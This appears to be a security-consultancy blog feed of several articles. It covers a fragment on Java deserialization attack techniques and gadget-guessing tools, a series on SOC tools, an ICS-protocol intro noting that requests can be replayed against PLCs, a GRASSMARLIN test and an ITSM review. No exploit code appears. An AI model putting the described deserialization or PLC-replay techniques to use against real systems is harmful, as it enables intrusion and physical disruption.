• La chaîne commence par “AC ED” – il s’agit du code hexadécimal identifiant la donnée sérialisée, toutes les données sérialisées commencent par cette valeur.
• Le protocole de sérialisation version “00 05”.
• Le type de variable String est identifié par le code “74”.
• Puis la taille de la variable “00 09”.
• Et finalement la variable en elle-même.

 

 

L’outil permet de déterminer les charges utiles (gadgets) qui semblent fonctionner, donc de deviner les librairies utilisées par l’application pour la désérialisation:

 

 

 

 

 

 

Le maître deserializateur veut vous serrer la main

 

 

 

Conclusion

Sources et références pour approfondir le sujet

Cet article Techniques et outils d’attaque sur les moteurs de désérialisation (Java) est apparu en premier sur RiskInsight.

Improving knowledge of threats and attackers

Cyber-threat intelligence (CTI) platforms

Cyber-Threat Intelligence (CTI or Threat Intel) is a discipline that brings together the collection, consolidation, and exploitation of all information on cyber-threats. “Know your enemy” says Sun Tzu in the Art of War. Although this quote refers to “physical” wars, the principle remains true, and is probably even more true when it comes to “cyber” battles.

Today, a large number of security approaches rely on knowledge of attacks: the signature-based approach of antivirus and IDS solutions, targeted detection scenarios, etc. Even though this trend is reversing (in particular with the detection of anomalies) the vast majority of security products still rely—and will continue to rely—on the principles of Threat Intelligence.

With companies’ needs becoming more specific, and attackers ever more specialized, Threat Intel solutions are becoming increasingly popular, with services being offered directly to companies. In addition to commercial offerings, more and more exchange platforms and partnerships are enabling direct collaboration with other companies (in the same sector or geographical area, etc.).

Threat Intel offers a range of services. On the one hand, ‘strategic’ Threat Intel helps an SOC better understand the context and specific threats to the company. To do this, the risks from various ecosystems are studied: geographical, political, ideological, sectoral, etc. This information enables security teams to better understand the threats they face and guides their decisions to define “long-term” strategy (solutions to be deployed, etc.).

On the other hand, ‘tactical’ Threat Intel provides more precise information on attackers’ methods, allowing the SOC to facilitate detection and tailor existing measures: new threat scenarios to monitor, ports to block, etc.

In addition to these approaches, ‘technical’ Threat Intel contributes greatly to the analysis of security events by providing, on request (from SOAR in particular—see below), elements that enable the veracity of an alert to be judged: an IP belonging to a botnet, a file hash corresponding to a known virus, etc.

Threat Intelligence approaches are therefore among an SOC’s most versatile tools, enabling it to make the most of existing devices, by remaining up to date and prioritizing the threats to be detected, as well as identifying future tools and measures to be deployed.

Examples of Threat Intelligence publishers:

The standardization and automation of the response process

Security Orchestration, Automation and Response

Security Orchestration, Automation and Response (SOAR) is derived from the combination of three SOC tools: Security Incident Response Platforms (SIRPs—more details here), Security Orchestration Automation (SOA— orchestration and automation solutions) and some of the functionality of Threat Intelligence platforms. In summary, these are platforms that provide help and automate responses to security incidents. The solutions are similar to traditional ticketing tools (ITSMs) but include functionalities specific to cybersecurity issues. SOARs offer three main capabilities, each linked to one of the three types of tools from which they are derived.

First, like SIRPs, they allow the definition of response processes that are tailored to each security event. These are based on pre-defined playbooks provided by the publisher, published by the community using the solution, or created manually to better tailor things to the needs of the business. In particular, this task requires response teams to establish a clearly defined process that encourages them to ask themselves the right questions when they create response procedures, as well as to capitalize on and retain the knowledge gained.

The benefits of a SOAR, however, come more from the automation of the various stages that follow detection. During the analysis phase, the tool will automatically enrich knowledge about a security event by retrieving contextual information about the IS (identity in the AD, criticality of a resource, etc.), and querying external Threat Intelligence services (via APIs) or those that are offered as part of the solution. In addition to automating the enrichment and analysis steps, SOARs also facilitate the work of analysts:  the investigation of terminals, the interrogation of VirusTotal etc. in one click—when their involvement is required.

But automation doesn’t stop there! Although controversial, the automation of the response (via the connection to security equipment, a legacy of SOA) can represent an important gain for security teams: the blocking of a URL, the generation of the signature of a file and its propagation to antivirus tools, the blacklisting of an IP, etc.

The goal of SOARs is clear: to make it easier for the teams in charge of analysis and response, by helping them to define processes and automate tasks to the greatest extent possible. Although SOARs are very adaptable and can therefore help in response to any type of attack, they really shine when it comes to automating the treatment of common attacks (such as ransomware, phishing, etc.), which are very repetitive and tie up the resources of response teams.

Once these tasks have been automated, the security teams responsible for responding can focus on more complex alerts, where their knowledge adds real value.

Provided they are prepared to put in the initial effort (the formalization of processes, etc.), the likely reactivity and load gains are significant. SOARs will change the way SOC teams work, especially with respect to top-level analysts. Even though these solutions are still rarely deployed in France, they are set to become an essential tool for SOCs in the coming years.

Examples of SOAR publishers:

Even though tools are only part of equipping an SOC, each of these solutions has distinct advantages that can help detection teams keep up to date in terms of the evolution of ISs and threats.

All the tools are promising, and some are coming to maturity. However, it’s important to keep in mind that current toolkits already raise a raft of alerts, which presents a challenge when it comes to processing. It’s therefore advisable to complete the deployment and automation of what exists (using SOARs, for example), before turning toward new solutions.

And, as for any innovative product, a cool head is needed: the deployment of a new solution must be the result of well-defined needs.

Cet article SOAR, UEBA, CASB, EDR and others: which tools do you need for you SOC? (3/3) est apparu en premier sur RiskInsight.

Enhancing detection with new approaches

Think identity to detect suspect behaviors: UEBA

User and Entity Behavioral Analysis (UEBA—previously known as UBA) technologies are among the latest tools being used to enhance SOC’s detection arsenals. As their name suggests, they take a specific approach—leaving aside the technical considerations of current solutions (SIEM, etc.), and, instead, analyzing the behavior of users and entities (including terminals, applications, networks, servers, connected objects, etc.).

The principle is simple, but its implementation much less so. To be effective, UEBA approaches require a diversity of sources, and a variety of data formats. Traditional sources, such as SIEM and log manager(s), are employed and, in addition, certain resources (such as ADs, proxies, BDDs, etc.) are often used directly.

But, to perfect their detection capabilities, UEBA solutions also draw on new sources: information on users (HR applications, badge management, etc.), exchanges between employees (chats, video exchanges, emails, etc.), or any other relevant sources (business applications that need to be monitored, etc.).

Taking all this information together, UEBA solutions analyze the behavior of users (and entities) to identify potential threats. They can use static rules, in the form of signatures to be detected (which are often already implemented in SIEM solutions): simultaneous connections from two different locations, or unusual times of use, etc.

But the real strength of UEBA lies in the use of Machine Learning algorithms to detect changes in the behavior of users or services: suspicious business-function operations, access to critical, previously unused applications during holidays, unusual data transfers, etc.

Although UEBA was initially conceived to counter fraud, its role has gradually broadened to cover some areas that typically pose problems for SIEM: data theft, compromise or loan of application accounts, terminal or server infection, privilege abuse, etc.

Thus, today, UEBA is positioning itself as complementary to SIEM, adding to the latter’s “technical” approach by providing “user” visibility, and bringing an additional layer of intelligence to the analysis.

The market’s view is that, in the coming years, UEBA solutions will probably cease to exist in their present form. Instead, they’ll be integrated into existing solutions (SIEM, EDR, etc.), changing their form from products to functionalities.

Examples of UEBA publishers:

Trapping attackers: deceptive security

Deceptive Security can be considered as a move to a higher form of the Honey Pot approach. Here, decoys, in the form of data, agents, or dedicated environments, are distributed widely throughout all, or part of, the IS.

Depending on the needs and solutions, Deceptive Security tools can serve two purposes. By diverting the attention of attackers away from real resources and leading them down false trails, they can act as a means of protection.

But above all, monitoring these decoys can detect threats that are spreading within the IS. In fact, the decoys have no other use than to lure potential attackers or to provide false information; any communication with them is then, by definition, suspect.

This type of solution isn’t a replacement for existing measures but addresses very specific use cases where conventional detection approaches are ineffective: APTs, which are specially designed to circumvent them, and, more broadly, horizontal movements within the IS.

For more detail on Deceptive Security solutions, read our dedicated article here.

Examples of Deceptive Security publishers:

Detecting weak signals on the network: machine learning sensors

Traditional detection sensors (IDPSs), based on traffic analysis and comparisons with known attack signatures, are not particularly effective when it comes to detecting subtle attacks (APTs, etc.) or unknown threats (0-day, etc.). To overcome this problem, new-generation IDPSs integrate Machine Learning capabilities (sometimes presented as Artificial Intelligence) into their detection arsenals.

Depending on the solution, two types of use for Machine Learning can be distinguished. On the one hand, the use of these algorithms in supervised mode to learn to recognize the behavior of certain attacks, or phases of attack (during the active phases): command and control, scans, lateral movements, data leakage, etc.

On the other, once the sensor has been deployed, adjustment of the detection thresholds to the client context is also based on Machine Learning algorithms (something already used by many traditional IDPS solutions).

This mode of operation enables rapid deployment (solutions that can be used out-of-the-box with shorter learning phases), and a better ability to detect previously characterized attacks. Conversely, the detection of attacks that have not been subject to learning, or are completely unknown, remains difficult.

In contrast to this approach, some solutions rely on unsupervised learning to detect attacks. Here, during deployment, sensors are positioned on the network to observe the traffic and learn how to recognize what constitutes legitimate traffic.

Once the learning phase is over, the sensors can detect anomalies and raise alerts when suspicious behavior occurs. This approach enables the detection of unknown attacks, but generally requires a longer learning phase if it is to be effective and achieve an acceptable false alert rate.

In both cases, the “Machine Learning“ sensors make it possible to enhance an SOC’s arsenal (which, today, is mostly aimed at detecting known attacks) through detection capabilities that can discern complex, unknown attacks, or those designed to circumvent conventional security approaches.

Initial feedback from the field shows that these technologies can indeed detect threats that bypass conventional security measures. False positives, however, are very common (the learning curve varies widely, depending on solutions and contexts), and it remains difficult to judge how comprehensively threats are being detected.

“Machine Learning” sensors therefore have a definite future among SOC tools, even if they need to further mature to reach their full potential.

Examples of Machine Learning sensor publishers:

You can find our third, and final, article in this series here.

Cet article SOAR, UEBA, CASB, EDR and others: which tools do you need for you SOC? (2/3) est apparu en premier sur RiskInsight.

Against a backdrop of an acute shortage of cybersecurity skills, these issues cannot be addressed solely by increasing the size of SOC teams. The use of new tools, based on four strategic areas, is essential in enabling SOCs to stay ahead of threats.

Here, extending the scope of detection enables the protection of new areas of the IS that are not sufficiently secure (such as the cloud) and of resources that are increasingly being chosen as targets (through ransomware attacks on terminals, targeted attacks using ADs, etc.).

At the same time, new approaches need to be adopted to detect targeted attacks (0-day, “low signal”, etc.), whose increasing sophistication is undermining existing security measures.

In addition to these new detection tools, an advanced knowledge of threats and attackers can improve existing detection capabilities, help prioritize incidents to be dealt with, and increase the effectiveness of the response.

But SOC teams are already struggling to process the events generated by existing tools. As a result, it’s essential to standardize and automate interactions between teams and systems, and, wherever possible, the sequence of analysis and response.

Follow our series on the topic and learn how to tool up in these four strategic areas!

Extending the scope of detection to new perimeters

A unique solution to secure all clouds: CASB

Cloud Access Security Brokers (CASBs) address an area of the IS that is poorly served by traditional security measures: the cloud. The very nature of the cloud means that protection in this area requires a different approach to that used for a conventional IS; there is little or no control of resources (infrastructure, OSs, or applications—depending on the type of offering), assets are located outside the IS, etc.

CASBs aim to centralize and ensure that security policies are applied. Some cloud providers offer their own CASB security services (for example, Microsoft’s Cloud App Security); but, depending on the needs, it may be preferable to use third-party solutions, even though there is a cost to adding in another player. While CASBs aim to ensure security levels in the cloud, relying on the cloud service providers to perform this monitoring role can be counterproductive: it’s preferable to make use of a “trusted third party”.

In all cases, CASBs offer a diversity of solutions that can include a very large number of services—their degree of maturity depending on the solution’s publisher, the cloud provider, and the type of hosting (IaaS, PaaS, SaaS, etc.).

On the one hand, CASB solutions make it possible to deal with specific cloud issues, by addressing the lack of visibility in these environments (through shadow IT detection, usage statistics, etc.) and ensuring that they are compliant (verification of configurations, etc.).

On the other hand, they play a part in the application of traditional security measures in this cloud. In particular, data security issues (such as DLP and encryption measures, which are of special concern to regulators) and threat detection (centralization of cloud logs for transmission to SIEM, detection of abnormal behavior using UEBA (see our dedicated article on this), etc.) are parts of a CASB traditional capabilities. In addition, some stakes associated with IAM can also be addressed by these solutions (SSO, access contextualization, etc.).

There are two main modes of deployment when putting these features in place, each with its advantages and disadvantages. Proxy-type solutions are placed between users and the cloud service.

In contrast, when using API-type solutions, which are sometimes called “out-of-band”, the cloud service’s consumers communicate directly with it. Each time it’s accessed, the service queries the CASB’s APIs to evaluate the risks and authorize (or prohibit) the consumption of the service. However, to operate, API solutions rely on the interfaces offered by the cloud provider, which may limit the options.

At present, CASBs are relatively new and immature solutions, and their deployment is limited. However, given the increasingly broad adoption of cloud services (already well advanced), CASBs undoubtedly have a bright future. They’ll enable SOC teams to extend their surveillance to this area, which will soon represent a large proportion of any IS.

Examples of CASB publishers:

The new Swiss army knife for securing terminals: endpoint detection and response (EDR)

Endpoint Detection and Response (EDR) solutions are set to enhance SOC’s detection and response capabilities for terminals (PCs, servers, etc.).

As the name implies, EDRs play a part in detecting attacks. In fact, they are plugging the gaps in anti-virus solutions (and other HIPSs) which make use of specific attack signatures and are therefore unsuited to detecting certain attack types—in particular advanced attacks (APTs). EDRs are based on other detection methods, with publishers generally offering a combination of techniques commonly used elsewhere.

Among these techniques, a large number of solutions detect the exploitation of known vulnerabilities or attack patterns (the opening of suspicious ports to dubious addresses, etc.), the analysis of files using a sandbox (local emulation, submission in the cloud, etc.), and behavioral approaches based on Machine Learning (in particular UEBA solutions—see the dedicated chapter on this). Depending on the SOC’s needs, the alerts produced can be integrated as SIEM sources, or made available directly from the solution management console.

In addition to their advanced detection capabilities, EDR solutions also result in a considerable increase in visibility on devices: lists of processes and services launched, lists of files in certain system directories, as well as other information that facilitates investigation in cases where an alert is raised. Some solutions go beyond mere recovery of the state of the terminal at the time of the request, enabling its history to be recovered too: generation of logs, recovery of deleted files, etc.

But EDRs’ features don’t end at the detection and analysis phase. In fact, these solutions enable remote remediation actions to be performed, and the complexity of these depends on the publisher: deleting or quarantining files, ending processes, quarantining the terminal from the network, modifying registry keys, etc.

EDRs, thus, are comprehensive solutions that come into play at every stage of the process: from detection, through analysis, to response. However, they are not intended to replace anti-virus solutions: it’s always more effective to block known attacks, even though publishers are increasingly offering solutions that combine these two types of functionality.

For more details on EDR solutions, read our dedicated article here.

Examples of EDR publishers:

Protecting the keys to the kingdom: Active Directory supervision

Directories are among an IS’s most critical components. They provide the authentication and authorization functionality for almost all IS resources—both technical and business function—including the most critical ones. It’s therefore not surprising that compromising the AD is one of the most frequent attack methods used, since it opens numerous doors to an attacker.

Despite this criticality, and the fact that AD architectures are well known and have evolved little in recent years, their security has scope to improve. This is due, in particular, to their specific mode of operation (OUs, domains, trees, forests, users, etc.), which renders traditional protection and surveillance methods ineffective; a significant concern given that any vulnerability can represent a major risk for the rest of the IS.

AD surveillance solutions aim to overcome this problem by supervising (in real time, or during an audit) the specificities of directories (configuration, status of accounts, etc.) and detecting vulnerabilities that could result in them being compromised. To do this, AD supervision solutions have a highly detailed knowledge of how ADs function, and, in particular, the associated security issues.

When the solution detects a vulnerability, it raises an alert (via the SIEM, or directly) and can provide remediation advice to facilitate the work of the teams responsible for rectifying the problem.

AD supervision tools also enable the SOC to detect any changes in configuration (legitimate, accidental, or malicious) and continuously assure security levels for these critical components. In doing so, they make the task of numerous attackers decidedly more complex.

In addition to directly strengthening the AD’s security levels, such solutions can also be used to ensure compliance with standards or regulatory requirements (for example PCI DSS, etc.).

These solutions are not widely applied today, and their use is generally limited to one-off audits. However, given the considerable security improvements associated with the provision of detection and remediation advice, and their ease of use, such solutions have strong potential and are likely to find their place among the tools used by SOCs.

Examples of AD supervision publishers:

You can find our second article in the series here.

Cet article SOAR, UEBA, CASB, EDR and others: which tools do you need for you SOC? (1/3) est apparu en premier sur RiskInsight.

La sécurité des Systèmes d’Informations Industriels (SII) est aujourd’hui au centre des préoccupations dans les entreprises concernées. Ces systèmes permettent une action directe dans le monde « physique » à l’aide d’instructions provenant du monde « logique » et pilotent les outils de production de nombreuses entreprises.

Du fait du manque de sécurité de ces systèmes, de nombreuses attaques ont été recensées dans le monde ces dernières années. La dernière en date ayant eu le plus gros impact est l’attaque du réseau électrique de l’Ukraine en décembre dernier [1]. De nombreuses personnes se sont retrouvées sans électricité suite à une attaque du réseau industriel.

Le plus bas niveau des SI industriels est le réseau de production. Les capteurs et les actionneurs sont reliés aux entrées/sorties des automates industriels. Les protocoles utilisés pour communiquer avec ces automates sont généralement des protocoles propriétaires. Parmi les plus utilisés, on retrouve : Modbus, S7comm, DNP3, Profibus, Hart… Ces protocoles manquent souvent des principales fonctions de sécurité à savoir l’authentification et le chiffrement des flux. Il est donc possible de rejouer des requêtes et de réaliser des actions malveillantes directement sur les automates.
Modbus, protocole de Schneider Electric publiquement documenté et libre de droits, est une norme de référence pour les communications industrielles. De nombreux outils utilisant ce protocole existent pour communiquer avec les automates Schneider :

Cet article S7comm : un outil de communication avec les Automates Programmables Industriels Siemens est apparu en premier sur RiskInsight.

La première étape dans un projet de sécurisation de son SI industriel est bien souvent la création, ou la fiabilisation, d’un inventaire de l’ensemble des composants. En effet, l’inventaire et la documentation existante peuvent s’avérer insuffisant ou non-fiable.
C’est à ce besoin que répond l’outil GRASSMARLIN en fournissant une solution de cartographie réseau passive adaptée au secteur industriel.

Présentation de GRASSMARLIN

GRASSMARLIN est un outil permettant de cartographier de manière passive un réseau industriel. Cet outil, premièrement développé par la National Security Agency (NSA) des États-Unis est désormais Open-Source et directement accessible sur GitHub (https://github.com/iadgov/GRASSMARLIN).
L’outil GRASSMARLIN permet d’obtenir une image ou « snapshot » du système d’information (SI) industriel avec notamment:

• Les équipements présents
• Les communications existantes entre les équipements
• Des méta-informations obtenues à partir des communications (localisation, constructeurs)

L’outil est disponible sur la plateforme Windows (version 7+, 64bits uniquement), certaines distributions Linux (Fedora, Ubuntu) et est téléchargeable au lien suivant : https://github.com/iadgov/GRASSMARLIN/releases/latest.

Une perte de disponibilité d’un équipement du SI industriel pouvant avoir des conséquences importantes (arrêt de la production, perte de visibilité pour les opérateurs, …), la cartographie est entièrement passive. Les communications sont enregistrées puis analysées, contrairement à un scan actif avec nmap ou plcscan qui vont activement envoyer des paquets à destination de toutes les adresses IP et analyser les éventuels retours.

Fonctionnement de Grassmarlin

GRASSMARLIN permet d’obtenir deux types de topologies du réseau industriel :

• La « Logical View » : fournit une liste des équipements présents et des communications existantes, nommée par la suite la vue logique.
• La « Physical View » : permet d’obtenir les liens physiques entre les équipements en donnant par exemple le numéro de port d’un routeur auquel un automate est connecté, nommée par la suite la vue physique.

La détection passive

La méthode de découverte de réseau étant passive l’outil GRASSMARLIN ne génère aucun trafic sur le réseau. Ainsi afin d’obtenir des résultats de la vue logique ce dernier va simplement écouter les communications sur le réseau tel un analyseur de trame classique. En d’autres termes, GRASSMARLIN ne pourra analyser que les communications qu’il est en mesure d’écouter sur sa machine hôte.

Il est aussi possible d’obtenir une topologie réseau à partir de captures réseaux (fichiers PCAP) générées à des instants ultérieurs à d’autres points du réseau.
De même, pour générer la vue physique GRASSMARLIN utilise des logs de routeur Cisco et reste donc totalement passif.

Vue logique

Dans cette vue, la topologie du réseau se présente comme suit :

La carte principale à droite permet de donner les équipements présents, identifiés par leur adresse IP, ainsi que les communications existantes entre les équipements et les sous-réseaux IP.
Par ailleurs, GRASSMARLIN reconnait à l’aide de signatures les protocoles et équipements industriels :

Dans le cas présent, le protocole utilisé est bien reconnu comme S7comm. Le rôle des équipements dans les communications est aussi informé : le master (ou maître) donne les consignes lorsque le slave (ou esclave) exécute les commandes. Le Vendor Name (nom du constructeur) est donné et permet aux gestionnaires de parcs industriels de pouvoir se repérer plus aisément. Enfin, dans le cas où les adresses IP sont publiques (ce qui n’est pas le cas ici) le pays d’origine de l’équipement est informé.
Ces informations sont générées suite à la confrontation des captures réseaux avec les signatures connues par GRASSMARLIN, l’attribut Confidence (confiance) échelonné de 1 (non confiant) à 5 (confiant) informe alors sur le degré de véracité des informations données.
GRASSMARLIN fournit aussi une vision textuelle de la carte à l’aide d’un arbre de connections (présent à gauche sur la figure 2) renseignant les équipements par sous-réseaux.
Il est aussi possible d’isoler les communications liées à un équipement en particulier et d’obtenir des premiers éléments d’analyses tels que : la taille des paquets échangés, l’instant t de l’échange, l’origine du paquet (si plusieurs fichiers PCAP’s sont utilisés) :

Signatures protocolaires

GRASSMARLIN embarque des signatures permettant de reconnaitre les protocoles utilisés sur la vue logique.
Chaque signature peut être composée de deux types d’élément :

• L’élément Filter (ou filtre) qui décrit un attribut à détecter.
• L’élément Payload (ou charge utile) qui permet de retourner des informations à l’utilisateur.

Une signature peut contenir plusieurs Filter et chaque Payload fait référence à un Filter :

Figure 5 : Exemple de signature MODBUS

Les Filter permettent essentiellement de décrire des attributs protocolaires des couches 2 à 4 du modèle OSI. Voici une liste des Filter actuellement disponibles :

Les Payload quant à eux permettent de rajouter une description à un élément réseau, d’extraire des valeurs d’un paquet ou encore d’afficher une information en fonction de la présence d’un motif dans un paquet.
La version actuelle de GRASSMARLIN (v3) compte 54 signatures couvrant les protocoles industriels couramment utilisés. Du fait du récent passage de l’outil en open-source (28/01/16) il est probable que la bibliothèque de signature s’enrichisse avec les années à venir.
Les signatures sont éditées sous le format XML néanmoins un outil graphique est proposé – FingerPrint Editor – afin de permettre une création plus aisée de signatures :

Vue physique

La topologie physique permet d’obtenir les connexions physiques existantes entre les équipements.

Ces vues, plus orientées connectivité réseau, permettent d’obtenir les liaisons physiques existantes entre les équipements industriels et leurs connexions aux équipements réseaux.
À ce jour seul les routeurs Cisco sont supportés et les vues sont générées à partir des résultats des 3 commandes suivantes :

• “show running-config”
• “show ip arp” (OU) “show mac address-table”
• “show interfaces”

Une fois la sortie de ces commandes enregistrée dans un fichier texte, GRASSMARLIN est en mesure de générer à partir de ce dernier la vue physique.

Partage de données

L’exportation des données est gérée par GRASSMARLIN avec 3 types d’export

• L’exportation des vues sous format d’images (PNG).
• L’exportation des données sous format XML :
  • Enregistre l’ensemble de l’arbre de connexion de la vue logique.
  • Ces données peuvent être utilisées comme des données de session lors de prochaine importation.
• L’exportation des données en partage : création d’une archive avec les données sous format XML et les fichiers de captures réseaux générés.

Tests sur banc d’essai

Des tests sur une des maquettes SI industriel de Solucom ont été réalisés afin de confronter l’outil à un cas d’utilisation concret avec de réels équipements industriels.

Présentation banc d’essai

Le banc d’essai simule un aiguillage de train et est composé de :

• 1 interface homme/machine (IHM) Siemens ;
• 1 automate Siemens ;
• 2 automates Schneider ;
• 1 switch manageable.

Un poste de travail disposant de Grassmarlin est directement connecté à un port en mirroring sur le switch et accède donc à l’ensemble des communications de la maquette. Par ailleurs, aucun équipement Cisco n’étant présent sur la maquette seule la vue logique a été testée.

Réalisation des tests

Suite à une capture en temps réel des trames, GRASSMARLIN a pu générer la vue logique suivante :

Le temps d’apparition des équipements sur la carte est quasi-instantané dès réception des flux. GRASSMARLIN identifie bien l’ensemble des équipements présents tout en donnant les protocoles de communications utilisés.
De même, un fichier XML de sortie est correctement généré à partir des fonctions d’export. Ce dernier résume l’ensemble des informations extraites par GRASSMARLIN et permet de réutiliser les données plus facilement :

Cependant, certaines limitations ont pu être observées :

• La non-concurrence des signatures
  Si un équipement répond à plusieurs signatures alors seule une signature est détectée. Ceci peut notamment poser problème dans le cas d’une IHM qui communique potentiellement avec différents automates en utilisant plusieurs protocoles de communication.
• Le manque de verbosité de certaines signatures
  Les signatures comportent des champs descriptions dans leur Payload permettant de décrire au mieux le rôle de l’équipement identifié. Il est possible que ces champs soient laissés initialement vides ou peu renseignés ce qui peut compliquer la tâche d’identification.
• Une analyse des échanges peu aboutie
  GRASSMARLIN ne fournit actuellement que les premiers éléments d’analyse sur les communications : tailles des paquets, instants d’envois. Dans les pistes d’améliorations de sa fonction d’analyse nous pourrions par exemple citer l’implémentation d’une fonction de reconnaissance de cycles dans les échanges entre IHM et automates.

Conclusion

D’autres outils de détection passive de topologie sont disponibles sur le marché. Cependant GRASSMARLIN est actuellement l’un des rares, si ce n’est l’unique, à être destiné au SI industriels et à être Open-Source.
En comparaison un autre outil nommé NetworkMiner permet aussi de réaliser des topologies de réseaux en utilisant les signatures d’autres outils dont notamment : nmap, p0f et Ettercap . Néanmoins, ce dernier n’embarque pas à l’installation de signatures destinées aux protocoles industriels et n’est donc pas aussi précis que GRASSMARLIN.

Citons également la solution commerciale de Sentryo, dédiée elle aux SI industriels. Cette solution ne se contente pas de créer une cartographie à l’instant t, mais permet également d’alerter sur toutes variations par rapports aux communications habituelles, et ainsi de détecter des événements de sécurité. Lors de la démonstration à laquelle nous avons assistée, le niveau de détail fourni sur les automates (Schneider et Siemens à minima) était bien supérieur à celui qu’on peut actuellement obtenir avec Grassmarlin (marque, modèle, composants de l’automate et version du firmware par exemple).

Cet article Test de Grassmarlin, outil open-source de cartographie passive pour SI industriels est apparu en premier sur RiskInsight.

Microsoft, géant de l’industrie logicielle, a lancé début 2010 l’outil Service Manager SCSM en s’appuyant sur sa suite System Center. Après une nouvelle version sortie début 2012 (SCSM 2012) et un Service Pack 1 disponible depuis janvier 2013, Microsoft confirme sa volonté de consolider sa position sur toute la chaîne de gestion des services IT. Pour autant, il n’apparaît pas encore dans le radar Gartner. Quel est donc le potentiel de cette solution ?

Quel sont les enjeux des outils ITSM ?

Les outils ITSM permettent à la DSI de se professionnaliser et d’améliorer sa qualité  de service, sa réactivité vis-à-vis des utilisateurs et de mieux piloter la production informatique.

Le choix et le déploiement d’un outil ITSM est impactant en termes de délai, les décisions doivent être prises avec un horizon à moyen terme (5 ans). De plus, c’est un outil visible, utilisé par de nombreux acteurs de la DSI et servant l’ensemble des utilisateurs. Dans un environnement d’entreprise de plus en plus changeant, l’enjeu d’adaptabilité de l’outil est donc primordial. Il doit apporter la souplesse permettant d’intégrer et de se séparer facilement de nouveaux périmètres, groupes supports et prendre en compte de nouveaux paramètres.

Le besoin de plus en plus prégnant de maîtriser les coûts informatiques et l’utilisation de plus en plus  large de services externalisés imposent également aux outils de répondre aux besoins de reporting et de mesure des SLA et OLA souvent complexes.

Le cloud en tant que tendance de fond se décline également sur les outils ITSM. Les solutions SaaS peuvent séduire des clients adeptes de solutions « clé en main ».

Enfin, les utilisateurs sont de plus en plus habitués à des interfaces user friendly pour leurs usages personnels. Ils deviennent de plus en plus exigeants sur l’ergonomie des outils professionnels. Les interfaces doivent donc être simples, intuitives et proposer des temps de réponse courts.

Le choix d’un outil sera donc guidé par les spécificités de chaque DSI, comme sa taille, son mode d’organisation (dispersion géographique, périmètres externalisés), ses engagements contractuels (catalogue et niveaux de service, impacts financiers liés à la mesure des engagements de services). L’enjeu pour les éditeurs sera de répondre à ces attentes diverses.

Qu’apporte la solution Microsoft ?

Tout comme ses principaux concurrents, System Center Service Manager 2012 permet d’outiller de façon intégrée les principaux processus :

• Front-office : gestion des incidents et gestion des demandes basée sur un module de gestion du catalogue de services.
• Back-office : gestion des problèmes, des changements, des mises en production et des configurations.

Du point de vue définition et design, les processus pris en charge sont basés sur MOF (Microsoft Operations Framework), largement appuyé sur le référentiel internationalement reconnu ITIL V3.

La spécificité de l’outil tient principalement à son appartenance à la famille Microsoft :

• Il est accessible à travers deux canaux dont l’interface est facilement prise en main car conçue dans « l’esprit » Microsoft : un client riche, ou console, à destination des équipes IT, et un portail web aux fonctionnalités plus limitées à l’usage des utilisateurs finaux.
• Il permet des interconnections natives avec les autres produits de la firme : l’Active Directory pour le peuplement de la solution, SCCM pour la gestion de configuration ou encore le portail Sharepoint pour le partage de la base de connaissance et la publication des reporting.
• La solution de reporting embarquée est l’un des atouts de cet outil. Basée sur les services de business intelligence issus de la technologie Microsoft SQL et elle permet d’automatiser la production des tableaux de bord publiables directement sur SharePoint.

Quelles entreprises peuvent en tirer le meilleur bénéfice ?

Le déploiement de cet outil met en avant la question du subtil équilibre à trouver entre l’adaptation de l’outil aux processus et l’adaptation des modes de fonctionnement de l’entreprise aux contraintes des éditeurs.

• Les possibilités d’adaptation de l’outil aux processus de l’entreprise éloignés des standards ITIL ou dotée d’une organisation avec de nombreux sites ou périmètres infogérés restent plus compliquées. Une personnalisation à l’aide du module « Authoring Tool » et de programmation XML devient nécessaire mais n’est supportée que lorsqu’elle est réalisée par Microsoft.
• L’ergonomie du portail web reste un point à améliorer au regard des capacités de Microsoft : le nombre de clic gagnerait à être réduit et une fois encore la personnalisation est difficile du fait d’une structure en Silverlight totalement verrouillée.
• D’un point de vue technique, l’interface web pour les utilisateurs n’est prise en charge que sur les plate-formes Windows Vista et ultérieures.

Compte tenu de ces caractéristiques, Microsoft répond plus particulièrement aux besoins d’entreprises souhaitant s’appuyer avant tout sur la console back-office ou aux entreprises de taille moyenne qui n’auront besoin que d’un faible niveau de personnalisation et qui pourront s’appuyer sur une solution clé en main et un cadre de référence standard.

Cet article Microsoft, challenger sur le marché des outils IT Service Management (ITSM) ? est apparu en premier sur RiskInsight.